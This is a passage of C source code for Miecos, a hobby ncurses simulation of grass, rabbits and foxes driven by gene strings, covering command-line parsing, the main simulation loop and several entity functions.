ReturnState CrushGrass (struct Entity *this);
ReturnState EatGrass (struct Entity **this);
ReturnState SpawnGrass (void);
// Rabbit functions
Action MoveRabbit (struct Entity **this);
Action BlockedRabbit (struct Entity *this, struct Entity *that);
ReturnState HideRabbit (struct Entity *this);
ReturnState KillRabbit (struct Entity **this);
ReturnState DoWhatRabbitsDoBest (void);
// Fox functions
Action MoveFox (struct Entity **this);
Action BlockedFox (struct Entity *this, struct Entity *that);
//ReturnState HideFox (struct Entity *this); // Shares this function with the rabbit.
//ReturnState KillFox (struct Entity **this); // Shares this function with the rabbit.
ReturnState TheFoxesAreAtItAgain (void);
// Additional Miecos-specific functions
ReturnState GetNewScreenPoint (struct ScreenPoint **NewPoint);
int SetGString (char **NewGString);
// Additional general functions
int Rand (int MaxNum);
//void LogMessage (char *Message);
//void LogStat (char *Message, int Stat);
/*
* This was and will be used for testing/debugging purposes. It is not used
* in the release version but it seems simpler to comment all the lines out
* rather than remove them outright and maintain a separate copy for upgrades
*/
FILE *OutputFile;
int main(int argc, char *argv[])
{
printf("Here we go!");
int i = 0, j = 0, Iterations = 0, StillAlive = 0;
ReturnState ReturnedError = AllOK;
struct timespec DELAY;
// Before we do ANYTHING lets check the command line arguements
for (i=1; i<argc; i++) {
if (!(strcmp ("--help", argv[i]))) {
printf ("Usage: miecos [--help | --version | OPTION]\n");
printf ("Example: miecos --mode=ncurses --speed=fast --runlimit 500 --width 120 --height 40 --grass 200 --rabbits 100 --foxes 300 --maxplayers 3000 --genesize 100\n\n");
printf (" --help show this message\n");
printf (" --version show version number\n");
printf (" --mode=xxx choose display mode, xxx can be 'ncurses' to use the ncurses library for\n");
printf (" screen output, 'basic' for output using simple printf() statements\n");
printf (" or 'noecho' for disabling all screen output (useful for when Miecos is\n");
printf (" invoked from a script file)\n");
printf (" the default is ncurses if no option or an invalid option is selected\n");
printf (" --speed=xxx sets the size of the delay entered in the main loop, valid values for xxx\n");
printf (" are 'instant', 'vfast', 'fast', 'medium', 'slow' or 'vslow'\n");
printf (" the default is 'medium' unless the 'noecho' mode is set which case this\n");
printf (" option is ignored and the speed is set to 'instant'\n");
printf (" --runlimit num normally the program exits when all animals in the program die off however\n");
printf (" this value can be used to limit the number of iterations of the main loop\n");
printf (" the default is zero (not set)\n");
printf (" --width num sets the width of the field\n");
printf (" the default is %i, when the ncurses library is being used the\n", SCREENWIDTH);
printf (" maximum value is set to COLS as defined by ncurses.h, if the 'noecho' or 'basic'\n");
printf (" modes are being used then this value has an arbitrary limit of %i\n", ARBLIMIT);
printf (" --height num sets the height of the field\n");
printf (" the default is %i, when the ncurses library is being used the\n", SCREENHEIGHT);
printf (" maximum value is set to LINES as defined by ncurses.h, if the 'noecho' or 'basic'\n");
printf (" modes are being used then this value has an arbitrary limit of %i\n", ARBLIMIT);
printf (" --grass num this defines the amount of grass that is present at the start of the current run\n");
printf (" the default is %i\n", INITGRASS);
printf (" --rabbits num this defines the number of rabbits that are present at the start of the current run\n");
printf (" the default is %i\n", INITRABBITS);
printf (" --foxes num this defines the number of foxes that are present at the start of the current run\n");
printf (" the default is %i\n", INITRABBITS);
printf (" --maxplayers this defines the maximum number of entities (grass + rabbits + foxes) that can\n");
printf (" exist simultaneously\n");
printf (" the default is (SCREENWIDTH * SCREENHEIGHT)\n");
printf (" --genesize this defines the maximum size of the entitys genestring\n");
printf (" the default is %i\n\n", MAXGENESIZE);
printf ("Miecos is copyright (C) 2005, 2015 Alan Delaney and licensed\n");
printf ("under the GNU General Public License, version 2.\n\n");
printf ("Report bugs or send praise to https://github.com/xarxziux/miecos\n\n");
return 0;
}
}
for (i=1; i<argc; i++) {
if (!(strcmp ("--version", argv[i]))) {
printf ("Miecos 0.0.1 (pre-release)\n");
printf ("Copyright (C) 2005 Alan Delaney.\n");
printf ("Miecos comes with ABSOLUTELY NO WARRANTY.\n");
printf ("You may redistribute copies of Miecos under the\n");
printf ("terms of the GNU General Public License, version 2.\n");
return 0;
}
}
/*
* The "--mode=" arguement determines how the output will be presented. Currently there
* are three modes:
* ncurses - use the ncurses library, this is the default.
* basic - this uses simple printf() statements to provide the output, useful perhaps for debugging purposes
* noecho - does not print anything to the screen, designed to be used as a background program run
* from within a shell script, for example.
*/
i=1;
while (i<argc) {
if (!(strncmp ("--mode=", argv[i], 7))) {
if (!(strcmp ("--mode=ncurses", argv[i]))) {
Mode = 2;
}
else if (!(strcmp ("--mode=basic", argv[i]))) {
Mode = 1;
}
else if (!(strcmp ("--mode=noecho", argv[i]))) {
Mode = 0;
}
i = argc; // If a "--mode" arguement was found then exit this loop, even if the arguement was invalid.
}
i++;
}
/*
* The "-speed" arguement sets the amount of delay between the iterations of the while() loop. There are
* currently six settings: vslow, slow, medium, fast, vfast, instant. The last sets NO time limit and is
* automatically selected if the mode is noecho. On invalid values the default is medium.
*/
if (Mode) {
i=1;
while (i<argc) {
if (!(strncmp ("--speed=", argv[i], 8))) {
if (!(strcmp ("--speed=instant", argv[i]))) {
Speed = 0;
}
else if (!(strcmp ("--speed=vfast", argv[i]))) {
Speed = 1;
}
else if (!(strcmp ("--speed=fast", argv[i]))) {
Speed = 2;
}
else if (!(strcmp ("--speed=medium", argv[i]))) {
Speed = 3;
}
else if (!(strcmp ("--speed=slow", argv[i]))) {
Speed = 4;
}
else if (!(strcmp ("--speed=vslow", argv[i]))) {
Speed = 5;
}
i = argc;
}
i++;
}
}
else {
Speed = 0;
}
switch (Speed) {
case 0:
DELAY.tv_sec = 0;
DELAY.tv_nsec = 0;
break;
case 1:
DELAY.tv_sec = 0;
DELAY.tv_nsec = 25000000;
break;
case 2:
DELAY.tv_sec = 0;
DELAY.tv_nsec = 100000000;
break;
case 3:
DELAY.tv_sec = 0;
DELAY.tv_nsec = 500000000;
break;
case 4:
DELAY.tv_sec = 1;
DELAY.tv_nsec = 0;
break;
case 5:
DELAY.tv_sec = 3;
DELAY.tv_nsec = 0;
break;
default:
break;
} // switch (Speed) {
/*
* The program normally ends when all of the rabbits and foxes have died off. The "--runlimit" arguement
* allows for the program to exit after a set number of iterations are run. The default is zero, i.e. no limit.
*/
i=1;
while (i<argc) {
if (!(strncmp ("--runlimit", argv[i], 10))) {
if ((i + 1) < argc) {
TOTALRUNS = atoi (argv[i+1]);
}
}
i++;
}
/*
* This we need to have here so that the value of LINES and COLS in ncurses.h will be set. Then we can use
* these values to provide error-checking for the command-line arguements of SCREENHEIGHT and SCREENWIDTH.
*/
if (Mode == 2) {
initscr();
}
/*
* We now search the command-line arguements for values for SCREENWIDTH and SCREENHEIGHT. If we are using
* the Ncurses library for output then we will check the values against LINES and COLS as defined by Ncurses,
* otherwise we don't bother and *hope* the user enters sensible values.
*/
i=1;
while (i<argc) {
if (!(strncmp ("--width", argv[i], 7))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if (Temp <= 0) {
if (Mode == 1) {
printf ("Invalid negative argument for SCREENWIDTH.\n");
}
endwin();
return -1;
}
else {
if (Mode == 2) {
if (Temp > COLS) {
endwin();
printf ("Invalid argument for SCREENWIDTH (range = 1 to %i).\n", COLS);
return -1;
}
}
else if (Temp > ARBLIMIT) {
printf ("Invalid argument for SCREENWIDTH (range = 1 to %i).\n", ARBLIMIT);
return -1;
}
SCREENWIDTH = Temp;
i = argc;
}
}
}
i++;
}
i=1;
while (i<argc) {
if (!(strncmp ("--height", argv[i], 8))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if (Temp <= 0) {
if (Mode == 1) {
printf ("Invalid negative argument for SCREENHEIGHT.\n");
}
endwin();
return -1;
}
else {
if (Mode == 2) {
if (Temp > LINES) {
endwin();
printf ("Invalid argument for SCREENHEIGHT (range = 1 to %i).\n", LINES);
return -1;
}
}
else if (Temp > ARBLIMIT) {
printf ("Invalid argument for SCREENHEIGHT (range = 1 to %i).\n", ARBLIMIT);
return -1;
}
SCREENHEIGHT = Temp;
i = argc;
}
}
}
i++;
}
MAXPLAYERS = (SCREENWIDTH * SCREENHEIGHT);
/*
* These three arguements allow the user to alter the basic starting line-up. If no arguements are found then
* the default values are used. If arguements are used but are out-of-range then the program will display an
* error-message and exit.
*/
i=1;
while (i<argc) {
if (!(strncmp ("--grass", argv[i], 7))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if ((Temp < 0) || (Temp >= MAXPLAYERS)) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Invalid argument for INITGRASS (range 0 to %i).\n", MAXPLAYERS);
}
return -1;
}
else {
INITGRASS = Temp;
i = argc;
}
}
}
i++;
}
i=1;
while (i<argc) {
if (!(strncmp ("--rabbits", argv[i], 9))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if ((Temp <= 0) || (Temp >= MAXPLAYERS)) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Invalid argument for INITRABBITS (range 1 to %i).\n", MAXPLAYERS);
}
return -1;
}
else {
INITRABBITS = Temp;
i = argc;
}
}
}
i++;
}
i=1;
while (i<argc) {
if (!(strncmp ("--foxes", argv[i], 7))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if ((Temp <= 0) || (Temp >= MAXPLAYERS)) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Invalid argument for INITFOXES (range 1 to %i).\n", MAXPLAYERS);
}
return -1;
}
else {
INITFOXES = Temp;
i = argc;
}
}
}
i++;
}
/*
* Having now gotten the width and height of the screen we now search for and set the value of MAXPLAYERS
* which is dependent upon those values for error-checking purposes.
*/
i=1;
while (i<argc) {
if (!(strncmp ("--maxplayers", argv[i], 12))) {
if ((i + 1) < argc) {
int Temp = atoi (argv[i+1]);
if ((Temp <= 0) || (Temp >= (SCREENWIDTH * SCREENHEIGHT))) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Invalid argument for MAXPLAYERS (range 1 to %i).\n", (SCREENWIDTH*SCREENHEIGHT));
}
return -1;
}
else {
MAXPLAYERS = Temp;
i = argc;
}
}
}
i++;
}
printf("Still going");
if ((INITGRASS + INITRABBITS + INITFOXES) > MAXPLAYERS) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Initial values are set too high.\n");
printf ("Please ensure the values entered\n");
printf ("total less then %i.\n", MAXPLAYERS);
printf ("Note: if you have only entered values\n");
printf ("for the height and height of the screen\n");
printf ("please ensure you also alter the values\n");
printf ("of the initial grass, rabbits and foxes\n");
printf ("if the default values are too large to\n");
printf ("fit on the screen you have defined.\n");
}
return -1;
}
i=1;
while (i<argc) {
if (!(strncmp ("--genesize", argv[i], 10))) {
if ((i + 1) < argc) {
MAXGENESIZE = atoi (argv[i+1]);
}
if ((MAXGENESIZE <= 0) || (MAXGENESIZE > 1000)) {
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Invalid entry for MAXGENESIZE (range 1 to 1000).\n");
}
return -1;
}
}
i++;
}
srand (time (0));
// Initialise the two arrays
ScreenArray = (struct Entity ****) malloc ((sizeof (struct Entity ***)) * SCREENWIDTH);
EntityArray = (struct Entity **) malloc ((sizeof (struct Entity *)) * MAXPLAYERS);
/*
* You would not believe how many hours it took me to figure out
* that the next few lines of code are an absolute necessity.
* Without NULLing all of the elements of the array, the program
* is prone to random and bugger-to-find Segmentation errors.
* Trust me, I've wasted a large part of my life to discover this!
*/
for (i=0; i<SCREENWIDTH; i++) {
ScreenArray[i] = (struct Entity ***) malloc ((sizeof (struct Entity **)) * SCREENHEIGHT);
for (j=0; j<SCREENHEIGHT; j++) {
ScreenArray[i][j] = NULL;
}
}
for (i=0; i<MAXPLAYERS; i++) {
EntityArray[i] = NULL;
}
/*
// Initialise the output file and put some intro text into it.
if ((OutputFile = fopen (OUTPUTFILENAME, "w")) != NULL) {
fprintf (OutputFile, "output.txt - Miecos run-time error-message and debug data file.\n");
fprintf (OutputFile, "===============================================================\n");
fprintf (OutputFile, "\nFile ready to recieve data.\n\n\n");
}
else {
printf ("Error opening file.");
}
fclose (OutputFile);
*/
//Initialise the grass
for (i=0; i< INITGRASS; i++) {
ReturnedError = SpawnGrass();
if (ReturnedError) {
//LogMessage ("Error in SpawnGrass() call from INITGRASS loop.");
} // if (ReturnedError)
} // for (i=0; i< INITGRASS; i++)
//Initialise the rabbits
for (i=0; i< INITRABBITS; i++)
{
ReturnedError = DoWhatRabbitsDoBest();
if (ReturnedError) {
//LogMessage ("Error in DoWhatRabbitsDoBest() call from INITRABBITS loop.");
} // if (FunctionChecker != AllOK)
} // for (i=0; i< INITRABBITS; i++)
//Initialise the foxes
for (i=0; i< INITFOXES; i++) {
ReturnedError = TheFoxesAreAtItAgain();
if (ReturnedError) {
//LogMessage ("Error in TheFoxesAreAtItAgain() call from INITFOXES loop.");
} // if (FunctionChecker != AllOK)
} // for (i=0; i< INITFOXES; i++)
printf("Drawing screen");
if (Mode == 2) {
// Now we put it all on the screen ...
for (j=0; j<SCREENHEIGHT; j++) {
for (i=0; i<SCREENWIDTH; i++) {
if (ScreenArray[i][j] == NULL) {
mvaddch (j, i, BLANKCHAR);
}
else {
mvaddch (j, i, ScreenArray[i][j][0]->Appearance);
} // if (ScreenArray[NewIndex] == NULL)
} // for (i=0; i<SCREENWIDTH; i++)
} // for (j=0; j<SCREENHEIGHT; j++)
//for (i=0; i<100; i++) {
// mvaddch (43, (i+1), '.');
//}
// ... and draw it.
refresh();
getch();
}
else if (Mode == 1) {
for (j=0; j<SCREENHEIGHT; j++) {
for (i=0; i<SCREENWIDTH; i++) {
if (ScreenArray[i][j]) {
printf ("%c", ScreenArray[i][j][0]->Appearance);
}
else {
printf (".");
}
}
printf ("\n");
}
printf ("\nCompleted iteration 0.\n");
getchar();
}
StillAlive = 1;
//while (Iterations < TOTALRUNS) {
while ((!TOTALRUNS || (Iterations < TOTALRUNS)) && StillAlive) {
for (i=0; i<MAXPLAYERS; i++) {
if (EntityArray[i]) {
Action NextMove = Stay, RevisedMove = Stay;
int dX = 0, dY = 0, OldX = 0, OldY = 0, NewX = 0, NewY = 0;
OldX = EntityArray[i]->X;
OldY = EntityArray[i]->Y;
//ReturnState RecieptValue = AllOK;
/*
* OK, so we have a live entity here (hopefully) so the first thing
* we need to do is ask it what it wants to do.
*/
//LogStat ("Calling EntityArray[]->GetMove for i = ", i);
NextMove = EntityArray[i]->GetMove (&EntityArray[i]);
//LogStat ("NextMove = ", NextMove);
// Now we act upon that request.
switch (NextMove) {
/*
* If the function returns Stay, Die or Hide, the handling for this
* will be taken care of by the function so this loop need not worry
* about it. The same may well be true for Spawn but needs to be
* coded in and tested yet. Eat and Continue only appear when
* HandleObstacle is called but are included anyway for completeness
* and possible debugging purposes. All other possible, legal return
* values are movements which will be handled separately in their own
* nested switch statement.
*/
case Stay:
break;
case Continue:
//LogMessage ("NextMove returned illegal value Continue.");
break;
default:
/*
* In theory, if the switch reaches the default then the return value
* was a movement order. Therefore we now need to work out how to
* handle such an order. The first step is to convert the enum into
* a pair of ints, dX and dY, which can hold only the values of -1, 0
* and 1 which dictate the relative change of the entity. Using that
* we then calculate the absolute value of the entitys' new position.
* Next we see if the space it wants to move to is free and, if so,
* permit it to do so. If not we get the data on the obstacle and pass
* that to the HandleObstacle() method for further instructions.
*/
//LogStat ("GetMove returned ", NextMove);
switch (NextMove) {
case MoveRight:
dX = 1;
dY = 0;
break;
case MoveUpRight:
dX = 1;
dY = -1;
break;
case MoveUp:
dX = 0;
dY = -1;
break;
case MoveUpLeft:
dX = -1;
dY = -1;
break;
case MoveLeft:
dX = -1;
dY = 0;
break;
case MoveDownLeft:
dX = -1;
dY = 1;
break;
case MoveDown:
dX = 0;
dY = 1;
break;
case MoveDownRight:
dX = 1;
dY = 1;
break;
default:
dX = 0;
dY = 0;
break;
} // switch (NextAction) -- movement-specific switch
/*
* Note to self: we have left the nested switch but are still in
* the default clause of the original switch.
*/
//Translate from relative to absolute figures.
NewX = OldX + dX;
NewY = OldY + dY;
/*
* These four lines check if the movement will take it off the
* boundary and wrap it round in a toroidal system to the other
* side of the screen if such is the case.
*/
if (NewX < 0) NewX = (SCREENWIDTH-1);
if (NewY < 0) NewY = (SCREENHEIGHT-1);
if (NewX >= SCREENWIDTH ) NewX = 0;
if (NewY >= SCREENHEIGHT ) NewY = 0;
// if ((OutputFile = fopen ("./output.txt", "a")) != NULL)
// {
// fprintf (OutputFile, "(dX, dY) = (%i,%i).\n\n", dX, dY);
// fprintf (OutputFile, "(NewX, NewY) = (%i,%i).\n\n", NewX, NewY);
// fclose (OutputFile);
// }
// If the point is free then move there.
if (ScreenArray[NewX][NewY] == NULL) {
//LogStat ("Moving EntityArray[i].", i);
EntityArray[i]->X = NewX;
EntityArray[i]->Y = NewY;
ScreenArray[NewX][NewY] = &(EntityArray[i]);
ScreenArray[OldX][OldY] = NULL;
}
else
{
//LogStat ("Calling EntityArray[i]->HandleObstacle() for i = ", i);
//LogStat ("EntityArray[i]->Name = ", EntityArray[i]->Name);
RevisedMove = EntityArray[i]->HandleObstacle (EntityArray[i], ScreenArray[NewX][NewY][0]);
//LogStat ("EntityArray[i]->HandleObstacle() returned ", RevisedMove);
/*
* RevisedMove will be either Continue or Stay, no other possibilities
* exist in the current design. As Stay simply means to do nothing
* we then only need to handle the return value of Continue. All actions
* associated with eating whatever was there before have (fingers
* crossed) already been taken care of. Innit beautiful!
*/
if (RevisedMove == Continue)
{
EntityArray[i]->X = NewX;
EntityArray[i]->Y = NewY;
ScreenArray[NewX][NewY] = &(EntityArray[i]);
ScreenArray[OldX][OldY] = NULL;
}
} // if (ScreenArray[NewX][NewY] == NULL)
} // switch (NextMove) -- from GetMove()
}
}
if (Mode == 2) {
// Now we put it all on the screen ...
for (j=0; j<SCREENHEIGHT; j++) {
for (i=0; i<SCREENWIDTH; i++) {
if (ScreenArray[i][j] == NULL) {
mvaddch (j, i, BLANKCHAR);
}
else {
mvaddch (j, i, ScreenArray[i][j][0]->Appearance);
} // if (ScreenArray[NewIndex] == NULL)
} // for (i=0; i<SCREENWIDTH; i++)
} // for (j=0; j<SCREENHEIGHT; j++)
//for (i=0; i<100; i++) {
// mvaddch (43, (i+1), BLANKCHAR);
//}
// ... and draw it.
refresh();
//getch();
}
else if (Mode == 1) {
for (j=0; j<SCREENHEIGHT; j++) {
for (i=0; i<SCREENWIDTH; i++) {
if (ScreenArray[i][j]) {
printf ("%c", ScreenArray[i][j][0]->Appearance);
}
else {
printf (".");
}
}
printf ("\n");
}
printf ("\nCompleted iteration %i.\n", (Iterations + 1));
//getchar();
}
StillAlive = 0;
for (i=0; i<MAXPLAYERS; i++) {
if (EntityArray[i]) {
if (EntityArray[i]->Class >= 2)
StillAlive = 1;
}
}
if (Speed) {
nanosleep (&DELAY, NULL);
}
Iterations++;
//getch();
} // while ((!TotalRuns || (Iterations < TotalRuns)) && StillAlive) {
/*
* This section may be technically unnecessary as it cleans up all of the arrays of pointers
* that were used in the program and, as the program is about to end soon anyway, it will
* probably be done by the OS automatically but, hey, I'm a perfectionist. Besides, it keeps
* Valgrind happy and if Valgrind's happy them I'm happy!
*/
for (i=0; i<SCREENWIDTH; i++) {
for (j=0; j<SCREENHEIGHT; j++) {
if (ScreenArray[i][j]) {
free (ScreenArray[i][j][0]->GString);
ScreenArray[i][j][0]->GString = NULL;
free (ScreenArray[i][j][0]);
ScreenArray[i][j][0] = NULL;
}
/*
* The program runs fine, no crashes, no memory leaks (per Valgrind) with the following
* line commented out. With it included I get "*** glibc detected ***" errors. Why this
* is I haven't figured out yet therefore I'm leaving the line in until I get my head
* around this problem!
*/
//free (ScreenArray[i][j]);
ScreenArray[i][j] = NULL;
}
free (ScreenArray[i]);
ScreenArray[i] = NULL;
}
free (ScreenArray);
ScreenArray = NULL;
for (i=0; i<MAXPLAYERS; i++) {
free (EntityArray[i]);
EntityArray[i] = NULL;
}
free (EntityArray);
EntityArray = NULL;
if (Mode == 2) {
endwin();
}
if (Mode) {
printf ("Normal end reached!\n");
printf ("%i iterations performed.\n", Iterations);
}
return Iterations;
} // int main()
// Grass functions
Action GrowGrass (struct Entity **this)
{
Action ReturnValue = Stay;
//LogMessage ("Function GrowGrass() answering.");
(*this)->Health++;
if ((*this)->Visible == False)
{
if ((*this)->Health >= ((*this)->MaxHealth)/2)
{
if (ScreenArray[(*this)->X][(*this)->Y] == NULL)
{
(*this)->Visible = True;
ScreenArray[(*this)->X][(*this)->Y] = this;
}
}
}
if ((*this)->Health >= (*this)->MaxHealth)
{
(*this)->Health = ((*this)->Health)/2;
(*this)->SpawnEntity();
}
//LogMessage ("Function GrowGrass() returning.");
return ReturnValue;
} // Action GrowGrass (struct Entity ***this)
ReturnState CrushGrass (struct Entity *this)
{
//LogMessage ("Function CrushGrass() answering.");
ReturnState ReturnValue = AllOK;
this->Health = (this->MaxHealth)/4;
this->Visible = False;
ScreenArray[this->X][this->Y] = NULL;
//LogMessage ("Function CrushGrass() returning.");
return ReturnValue;
} // ReturnState CrushGrass (struct Entity *this)
ReturnState EatGrass (struct Entity **this)
{
//LogMessage ("Function EatGrass() answering.");
ReturnState ReturnValue = AllOK;
int X = (*this)->X, Y = (*this)->Y;
free (ScreenArray[X][Y][0]);
ScreenArray[X][Y][0] = NULL;
ScreenArray[X][Y] = NULL;
return ReturnValue;
} // ReturnState EatGrass (struct Entity **this)
ReturnState SpawnGrass (void)
{
//LogMessage ("Function SpawnGrass() answering.");
/*
* My usual convention is to set ReturnValue to AllOK by default
* but here I take the "guilty until proven innocent" approach
* by making the function find a free space before it is allowed
* to set ReturnValue to AllOK
*/
ReturnState ReturnedError = AllOK; // What the function gets back ...
ReturnState ReturnValue = NoFreeSpaceError; // ... and what it gives back.
int i = 0, FreeSlot = 0;
struct ScreenPoint *NewScreenPoint = NULL;
//LogMessage ("Function SpawnGrass() looking for a free space.");
// First we find somewhere to put it ...
while ((i < MAXPLAYERS) && (ReturnValue == NoFreeSpaceError)) {
if (!(EntityArray[i])) {
// We got one!
//LogStat ("Function SpawnGrass() found one for i = ", i);
EntityArray[i] = (struct Entity *) malloc (sizeof (struct Entity));
//LogMessage ("SpawnGrass() called malloc().");
if (!(EntityArray[i])) {
// Or have we?
ReturnValue = MallocError;
}
else {
FreeSlot = i;
ReturnValue = AllOK;
} // if (EntityArray[i] == NULL) -- from malloc()
} // if (EntityArray[i] == NULL) -- initial test
i++;
} // while ((i<MAXPLAYERS) && (ReturnState == NoFreeSpaceError))
// If we've got one then use it.
if (!(ReturnValue)) {
// ... then we find somewhere to display it.
//LogMessage ("Function SpawnGrass() calling GetNewScreenPoint().");
ReturnedError = GetNewScreenPoint (&NewScreenPoint);
if (ReturnedError) {
// If some thing went wrong null the pointer and return the error code.
//LogStat ("Function SpawnGrass() recieved an error from GetNewScreenPoint(), code = ", RecieptValue);
free (NewScreenPoint);
NewScreenPoint = NULL;
free (EntityArray[FreeSlot]);
EntityArray[FreeSlot] = NULL;
ReturnValue = ReturnedError;
}
else {
// In order to get here all function calls **must** have worked
// so no Segmentation faults :)
// First the basic settings
EntityArray[FreeSlot]->Class = clPlant;
EntityArray[FreeSlot]->Name = idGrass;
EntityArray[FreeSlot]->Appearance = GRASSCHAR;
EntityArray[FreeSlot]->X = NewScreenPoint->X;
EntityArray[FreeSlot]->Y = NewScreenPoint->Y;
EntityArray[FreeSlot]->GString = '\0';
EntityArray[FreeSlot]->MaxHealth = MAXGRASSHEALTH;
EntityArray[FreeSlot]->Health = (MAXGRASSHEALTH)/2;
EntityArray[FreeSlot]->GenePointer = 0;
EntityArray[FreeSlot]->Visible = True;
// Now the function pointers
EntityArray[FreeSlot]->GetMove = GrowGrass;
EntityArray[FreeSlot]->HandleObstacle = NULL;
EntityArray[FreeSlot]->HideEntity = CrushGrass;
EntityArray[FreeSlot]->KillEntity = EatGrass;
EntityArray[FreeSlot]->SpawnEntity = SpawnGrass;
//Now we need to put it on the ScreenArray
//Index = (EntityArray[FreeSlot]->X + (EntityArray[FreeSlot]->Y * SCREENWIDTH));
ScreenArray[EntityArray[FreeSlot]->X][EntityArray[FreeSlot]->Y] = &(EntityArray[FreeSlot]);
// if ((OutputFile = fopen ("./output.txt", "a")) != NULL)
// {
// fprintf (OutputFile, "Index = %i.\n\n", Index);
// fprintf (OutputFile, "FreeSlot = %i.\n\n", FreeSlot);
// fprintf (OutputFile, "EntityArray[%i] (X, Y) = (%i, %i).\n\n", FreeSlot, EntityArray[FreeSlot]->X,
// EntityArray[FreeSlot]->Y);
// fprintf (OutputFile, "ScreenArray[%i] (X, Y) = (%i, %i).\n\n", Index, ScreenArray[Index]->X,
// ScreenArray[Index]->Y);
// fclose (OutputFile);
// }
} // if (RecieptValue != AllOK) -- from GetNewScreenPoint()
} // if (RecieptValue != AllOK) -- from GetNewEntitySpace()
//LogMessage ("Function SpawnGrass() returning.");
free (NewScreenPoint);
NewScreenPoint = NULL;
return ReturnValue;
} // ReturnState SpawnGrass (void)
// Rabbit functions
Action MoveRabbit (struct Entity **this)
{
//LogStat ("Function MoveRabbit() answering, health = ", (*this)->Health);
Action ReturnValue = Stay;
ReturnState ReturnedError = AllOK;
(*this)->Health--;
// If it was hiding then unhide it.
(*this)->Visible = True;
if ((*this)->Health >= (*this)->MaxHealth) {
(*this)->Health = ((*this)->MaxHealth)/2;
//LogMessage ("Function MoveRabbit() calling (*this)->SpawnEntity().");
ReturnedError = (*this)->SpawnEntity();
//LogStat ("Function MoveRabbit() called (*this)->SpawnEntity(), RecieptValue = ", RecieptValue);
ReturnValue = Stay;
}
else if ((*this)->Health <= 0) {
//LogMessage ("Function MoveRabbit() calling (*this)->KillEntity().");
ReturnedError = (*this)->KillEntity (this);
//LogStat ("Function MoveRabbit() called (*this)->KillEntity(), RecieptValue = ", RecieptValue);
ReturnValue = Stay;
}
else if (!((*this)->GString)) {
//LogMessage ("(*this)->GString == NULL.");
ReturnValue = Stay;
}
/*
* If the flow reaches here them everything should be OK
* to move the rabbit. Any conditions that would prevent
* the rabbit from moving should be handled before this
* point.
*/
else {
//fprintf (OutputFile, "\n");
//LogMessage ("Function MoveRabbit() choosing next move.");
// WARNING -- no error-checking of GenePointer value
if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveRight;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUpRight;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O')&&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUp;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'O')) {
ReturnValue = MoveUpLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'O') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDownLeft;
}
else if (((*this)->GString[(*this)->GenePointer] == 'O') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDown;
}
else if (((*this)->GString[(*this)->GenePointer] == 'I') &&
((*this)->GString[(*this)->GenePointer + 1] == 'I') &&
((*this)->GString[(*this)->GenePointer + 2] == 'I')) {
ReturnValue = MoveDownRight;
}
else {
/*
* If this runs there is problem with the GString so
* some extra coding is needed here to investigate and
* report the problem. For now lets just ignore it and
* carry on gracefully.
*/
ReturnValue = Stay;
}
//LogStat ("Function MoveRabbit() chose next move = ", ReturnValue);
(*this)->GenePointer += 3;
if ((*this)->GenePointer >= strlen ((*this)->GString)) {
(*this)->GenePointer = 0;
}
} // if ((*this)->GString == 0)
//LogMessage ("Function MoveRabbit() returning.");
return ReturnValue;
}
Action BlockedRabbit (struct Entity *this, struct Entity *that)
{
//LogMessage ("Function BlockedRabbit() answering.");
/*
* In this very key function we define what the animal actually eats.
* What happens is that when the controller gets a movement order from
* the animal and tries to move in that direction but finds its way
* blocked, it will then call this function, passing a pointer to
* obstacle, to ask the animal how to handle it. If the animal
* eats that obstacle or performs any other type of action with that
* obstacle then there will be an entry within the switch() statement
* in this function. If there is no entry in the switch() statement
* then the function defaults to Action Stay meaning that the blockage
* is unresolveable.
*/
Action ReturnValue = Stay;
ReturnState ReturnedError = AllOK;
//LogStat ("BlockedRabbit() ready to run switch statement on Name = ", that->Name);
switch (that->Name) {
case idGrass:
//LogMessage ("BlockedRabbit() found some grass, calling that->KillEntity().");
ReturnedError = that->KillEntity (&that);
//LogMessage ("BlockedRabbit() called that->KillEntity().");
if (!ReturnedError) {
// Yum!
this->Health += GRASSNUTRITION;
}
break;
default:
//LogMessage ("BlockedRabbit() hit an unknown obstacle.");
break; // Prevents compiler warning messages!
} // switch (that->EntityName)
//LogMessage ("BlockedRabbit() returning.");
return ReturnValue;
}
ReturnState HideRabbit (struct Entity *this)
{
//LogMessage ("HideRabbit() answering.");
/*
* This function is used for situations where the rabbit is in hiding
* (underground!) and therefore does not appear on the screen. There
* is no implementation of the function at present but it's here
* because it **will** be useful and beacuse it helps to keep the code
* consistent with the GRAND DESIGN (TM).
*/
ReturnState ReturnValue = AllOK;
this->Visible = False;
// Short and sweet.
//LogMessage ("HideRabbit() returning.");
